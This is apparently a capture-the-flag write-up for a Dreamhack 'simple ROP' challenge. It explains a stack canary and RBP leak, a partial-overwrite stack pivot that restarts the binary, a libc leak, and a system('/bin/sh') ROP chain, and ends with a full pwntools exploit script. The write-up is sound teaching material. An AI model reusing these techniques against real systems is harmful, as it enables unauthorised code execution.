Introduction
Before diving into the solution, let’s take a look at the binary information.
Information below is the result of the checksec command.
[*] '/home/hevian/pwnable/dreamhack/simeplerop/prob'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
As we can see here, the binary has full mitigations: Full RELRO, Canary, PIE enabled, NX enabled, SHSTK enabled, IBT enabled. So it’s a bit difficult to solve.
Reverse Engineering
After decompiling the binary, I realized that the challenge just provide a simple main function:
int __fastcall main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-B4h]
__int64 buf[22]; // [rsp+10h] [rbp-B0h] BYREF
buf[21] = __readfsqword(0x28u);
initialize(argc, argv, envp);
memset(buf, 0, 160);
puts("This is simple ROP challenge");
for ( i = 0; i <= 1; ++i )
{
puts("OMG BOF");
read(0, buf, 186uLL);
printf("Here is your leak: %s\n", (const char *)buf);
}
return 0;
}
The binary uses read function to read input from stdin then use printf to print it out. But look at the printf function, it uses %s format specifier which means it will print the input as a string. However, the input is not null-terminated, so it will print until it encounters a null byte or the end of the buffer. Furthurmore, the buffer is declared as __int64 buf[22] which means it can hold 22 * 8 = 176 bytes, but the read function read 186 bytes. So there is a 10 bytes overflow.
The program allows us to input twice, how we can leverage this?
Leaking Canary and Stack RBP
First, let use pwndbg to debug the program. Here I set breakpoints at the read function and check the stack layout, we can see that the stack layout is as follows:
──────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────
b► 0x5cffafe0f36d <main+280> call read@plt <read@plt>
fd: 0 (pipe:[26552])
buf: 0x7fff0b5e8730 ◂— 0
nbytes: 0xba
0x5cffafe0f372 <main+285> lea rax, [rbp - 0xb0]
0x5cffafe0f379 <main+292> mov rsi, rax
0x5cffafe0f37c <main+295> lea rax, [rip + 0xca6] RAX => 0x5cffafe10029 ◂— 'Here is your leak: %s\n'
0x5cffafe0f383 <main+302> mov rdi, rax RDI => 0x5cffafe10029 ◂— 'Here is your leak: %s\n'
0x5cffafe0f386 <main+305> mov eax, 0 EAX => 0
0x5cffafe0f38b <main+310> call printf@plt <printf@plt>
0x5cffafe0f390 <main+315> add dword ptr [rbp - 0xb4], 1
0x5cffafe0f397 <main+322> cmp dword ptr [rbp - 0xb4], 1
0x5cffafe0f39e <main+329> jle main+245 <main+245>
0x5cffafe0f3a0 <main+331> mov eax, 0 EAX => 0
───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────
00:0000│ rsp 0x7fff0b5e8720 ◂— 0xffffffffffffffff
01:0008│-0b8 0x7fff0b5e8728 ◂— 0x40 /* '@' */
02:0010│ rax rsi 0x7fff0b5e8730 ◂— 0
... ↓ 5 skipped
─────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────
► 0 0x5cffafe0f36d main+280
1 0x7c599a22a1ca __libc_start_call_main+122
2 0x7c599a22a28b __libc_start_main_impl+139
3 0x5cffafe0f105 _start+37
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> tel
00:0000│ rsp 0x7fff0b5e8720 ◂— 0xffffffffffffffff
01:0008│-0b8 0x7fff0b5e8728 ◂— 0x40 /* '@' */
02:0010│ rax rsi 0x7fff0b5e8730 ◂— 0
... ↓ 5 skipped
pwndbg>
08:0040│-080 0x7fff0b5e8760 ◂— 0
... ↓ 7 skipped
pwndbg>
10:0080│-040 0x7fff0b5e87a0 ◂— 0
... ↓ 5 skipped
16:00b0│-010 0x7fff0b5e87d0 —▸ 0x7fff0b5e88c0 —▸ 0x5cffafe0f0e0 (_start) ◂— endbr64
17:00b8│-008 0x7fff0b5e87d8 ◂— 0x81647a09e7bbb100
pwndbg>
18:00c0│ rbp 0x7fff0b5e87e0 —▸ 0x7fff0b5e8880 —▸ 0x7fff0b5e88e0 ◂— 0
19:00c8│+008 0x7fff0b5e87e8 —▸ 0x7c599a22a1ca (__libc_start_call_main+122) ◂— mov edi, eax
1a:00d0│+010 0x7fff0b5e87f0 —▸ 0x7fff0b5e8830 —▸ 0x5cffafe11da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5cffafe0f180 (__do_global_dtors_aux) ◂— endbr64
1b:00d8│+018 0x7fff0b5e87f8 —▸ 0x7fff0b5e8908 —▸ 0x7fff0b5e9b23 ◂— '/home/hevian/pwnable/dreamhack/simeplerop/prob_patched'
1c:00e0│+020 0x7fff0b5e8800 ◂— 0x1afe0e040
1d:00e8│+028 0x7fff0b5e8808 —▸ 0x5cffafe0f255 (main) ◂— endbr64
1e:00f0│+030 0x7fff0b5e8810 —▸ 0x7fff0b5e8908 —▸ 0x7fff0b5e9b23 ◂— '/home/hevian/pwnable/dreamhack/simeplerop/prob_patched'
1f:00f8│+038 0x7fff0b5e8818 ◂— 0x473cffdb399b4be5
pwndbg>
The buffer is read into 0x7fff0b5e8730 which is 168 bytes away from the stack canary. If we send 169 bytes of data, we can leak the stack canary and RBP register since the printf function will print out the data until it hits a null-byte.
But why is 169? This is because the canary is always end with a null-byte, so we need to send 168 bytes of data plus 1 byte to overwrite the null-byte of the canary.
So my first payload is:
payload1 = flat(
b'A'*168,
'B'
)
sa(b'BOF\n', payload1)
ru(b'leak: ')
r(169)
canary = u64(b'\0' + r(7))
log.success(f"canary leak :{hex(canary)}")
stack_rbp = u64(r(6).ljust(8,b'\0'))
log.success(f"Stack RBP leak : {hex(stack_rbp)}")
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> tel
00:0000│ rsp 0x7fff0b5e8720 ◂— 0xffffffffffffffff
01:0008│-0b8 0x7fff0b5e8728 ◂— 0x40 /* '@' */
02:0010│ rsi 0x7fff0b5e8730 ◂— 0x4141414141414141 ('AAAAAAAA')
... ↓ 5 skipped
pwndbg>
08:0040│-080 0x7fff0b5e8760 ◂— 0x4141414141414141 ('AAAAAAAA')
... ↓ 7 skipped
pwndbg>
10:0080│-040 0x7fff0b5e87a0 ◂— 0x4141414141414141 ('AAAAAAAA')
... ↓ 6 skipped
17:00b8│-008 0x7fff0b5e87d8 ◂— 0x81647a09e7bbb142
pwndbg>
18:00c0│ rbp 0x7fff0b5e87e0 —▸ 0x7fff0b5e8880 —▸ 0x7fff0b5e88e0 ◂— 0
19:00c8│+008 0x7fff0b5e87e8 —▸ 0x7c599a22a1ca (__libc_start_call_main+122) ◂— mov edi, eax
1a:00d0│+010 0x7fff0b5e87f0 —▸ 0x7fff0b5e8830 —▸ 0x5cffafe11da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5cffafe0f180 (__do_global_dtors_aux) ◂— endbr64
1b:00d8│+018 0x7fff0b5e87f8 —▸ 0x7fff0b5e8908 —▸ 0x7fff0b5e9b23 ◂— '/home/hevian/pwnable/dreamhack/simeplerop/prob_patched'
1c:00e0│+020 0x7fff0b5e8800 ◂— 0x1afe0e040
1d:00e8│+028 0x7fff0b5e8808 —▸ 0x5cffafe0f255 (main) ◂— endbr64
1e:00f0│+030 0x7fff0b5e8810 —▸ 0x7fff0b5e8908 —▸ 0x7fff0b5e9b23 ◂— '/home/hevian/pwnable/dreamhack/simeplerop/prob_patched'
1f:00f8│+038 0x7fff0b5e8818 ◂— 0x473cffdb399b4be5
pwndbg>
Since we overwrite the last byte of the canary, the printf function will print out the canary and the RBP register.

Stack Pivoting
Now we have the canary and old_rbp. But we have a problem: the for loop in main only runs twice. We just used our first input to leak the canary. For the second input, we need to leak the libc base address to build our ROP chain.
However, if we look closely at the main function, there is a memset(buf, 0, 160) at the beginning. This means our buffer is filled with null bytes. If we just send a few bytes, printf will stop at the first null byte and won’t reach the libc pointer (saved RIP) located at rbp + 8. Furthermore, if we send a long payload to bridge the gap, the program will terminate after this second loop, leaving us no chance to execute a shell.
To achieve this, we can force the program to restart by manipulating the return address. Notice the saved RIP at rbp + 8 is __libc_start_call_main+122 (ending with 0x2a1ca).
17:00b8│-008 0x7fff0b5e87d8 ◂— 0x81647a09e7bbb142
pwndbg>
18:00c0│ rbp 0x7fff0b5e87e0 —▸ 0x7fff0b5e8880 —▸ 0x7fff0b5e88e0 ◂— 0
19:00c8│+008 0x7fff0b5e87e8 —▸ 0x7c599a22a1ca (__libc_start_call_main+122) ◂— mov edi, eax
Inside libc, there is a very useful gadget: leave; ret (ending with 0x299d2).
$ ROPgadget --binary libc.so.6 --only "leave|ret" | grep "leave ; ret"
0x00000000000299d2 : leave ; ret
0x0000000000180363 : leave ; ret 0xfff9
Because they share the same base address, we can perform a Partial Overwrite. By overwriting the last 2 bytes of the saved RIP with \xd2\x99, we change it into a leave; ret gadget.
To make this leave; ret gadget jump to a useful location, we will forge the RBP. We set fake_rbp = old_rbp + 0x38.
But why 0x38?
- The leave instruction does
mov rsp, rbpandpop rbp. - This moves rsp to
old_rbp + 0x40. - If we inspect the stack,
old_rbp + 0x40conveniently holds a pointer to_start.
This effectively restarts the binary entirely, giving us a fresh “Life 2” while bypassing the destructive memset.
leave_return = p16(0x0000000000099d2)
old_rbp = stack_rbp
pivot_1 = old_rbp+0x38
payload2 = flat(
b'A'*168,
canary,
pivot_1,
leave_return
)
sa(b'BOF\n', payload2)
Leaking Libc Base
Since the stack frame is shifted, the old libc pointer from Life 1 is now safely resting below our new buffer, untouched by the new memset. The distance from the start of our new buffer to this old libc pointer is exactly 184 bytes (168 padding + 8 canary + 8 old rbp).
By sending a payload of exactly 184 As, we crush the null-byte of the canary again and fill the entire gap. The printf function will print all 184 As and immediately spill out the 6-byte libc address at the end.
payload3 = flat(
b'A'*184
)
sa(b'BOF\n',payload3)
ru(b'leak: ')
r(184)
libc_leak = u64(r(6).ljust(8, b'\0'))
libc.address = libc_leak - 0x2a1ca
log.success(f"[*] Libc Base: {hex(libc.address)}")

ROP chain
We have the libc base, the canary, and the stack layout is completely under our control.
We can build a standard system(‘/bin/sh’) ROP chain at the beginning of our buffer. To trigger it, we calculate the exact location of our buffer based on the old_rbp we leaked earlier: fake_rbp_final = old_rbp - 336 -8 -30- 0xa-8.
rop = ROP(libc)
#rop.raw(rop.ret.address)
rop.system(next(libc.search(b'/bin/sh\x00')))
fake_rbp_final = old_rbp - 336 -8 -30- 0xa-8
payload4 = flat(
rop.chain().ljust(168, b'\0'),
canary,
fake_rbp_final,
leave_return
)
sa(b'BOF\n', payload4)
Here is our stack layout:
pwndbg> tel
00:0000│ rsp 0x7fff0b5e86f0 ◂— 1
01:0008│-0b8 0x7fff0b5e86f8 ◂— 0x100000000
02:0010│ rsi 0x7fff0b5e8700 —▸ 0x7c599a30f78b (__spawnix+875) ◂— pop rdi
03:0018│-0a8 0x7fff0b5e8708 —▸ 0x7c599a3cb42f ◂— 0x68732f6e69622f /* '/bin/sh' */
04:0020│-0a0 0x7fff0b5e8710 —▸ 0x7c599a258750 (system) ◂— endbr64
05:0028│-098 0x7fff0b5e8718 ◂— 0
After the second leave ; ret instruction, the program will continue executing the ROP chain we built, begin at 0x7fff0b5e8700.
Full solve script
#!/usr/bin/env python3
from pwn import *
import os
current_dir = os.getcwd()
exe = ELF("./prob_patched")
context.binary = exe
context.log_level = 'debug'
context.terminal = ["cmd.exe", "/c", "start", "wsl.exe", "-e"]
#context.terminal = ["wt.exe", "-w", "0", "split-pane", "wsl.exe", "-e"]
# context.arch = 'amd64'
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-2.39.so", checksec=False)
def sla(delim, data): return p.sendlineafter(delim, data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def s(data): return p.send(data)
def ru(delim): return p.recvuntil(delim)
def rl(): return p.recvline()
def r(n): return p.recvn(n)
gdbscript = '''
set solib-search-path {}
b*main+280
c
'''.format(current_dir, current_dir)
def conn():
if args.REMOTE:
return remote("host8.dreamhack.games", 19855)
elif args.GDB:
return gdb.debug([exe.path], gdbscript=gdbscript)
else:
# return process([ld.path, exe.path], env={"LD_PRELOAD": libc.path})
return process([exe.path])
p = conn()
# --- Exploit ---
# LIFE 1 - LOOP 1, leaking canary
payload1 = flat(
b'A'*168,
'B'
)
sa(b'BOF\n', payload1)
ru(b'leak: ')
r(169)
canary = u64(b'\0' + r(7))
log.success(f"canary leak :{hex(canary)}")
stack_rbp = u64(r(6).ljust(8,b'\0'))
log.success(f"Stack RBP leak : {hex(stack_rbp)}")
# LIFE 1 - LOOP 2, restart the program
leave_return = p16(0x0000000000099d2)
main_address = p64(0xa1ca)
old_rbp = stack_rbp
pivot_1 = old_rbp+0x38
payload2 = flat(
b'A'*168,
canary,
pivot_1,
leave_return
)
sa(b'BOF\n', payload2)
# LIFE 2 - LOOP 1, leak libc
log.info("=== LIFE 2: LEAKING LIBC ===")
payload3 = flat(
b'A'*184
)
sa(b'BOF\n',payload3)
ru(b'leak: ')
r(184)
libc_leak = u64(r(6).ljust(8, b'\0'))
libc.address = libc_leak - 0x2a1ca
log.success(f"[*] Libc Base: {hex(libc.address)}")
# LIFE 2 - LOOP 2, creating shell
rop = ROP(libc)
#rop.raw(rop.ret.address)
rop.system(next(libc.search(b'/bin/sh\x00')))
fake_rbp_final = old_rbp - 336 -8 -30- 0xa-8
payload4 = flat(
rop.chain().ljust(168, b'\0'),
canary,
fake_rbp_final,
leave_return
)
sa(b'BOF\n', payload4)
p.interactive()
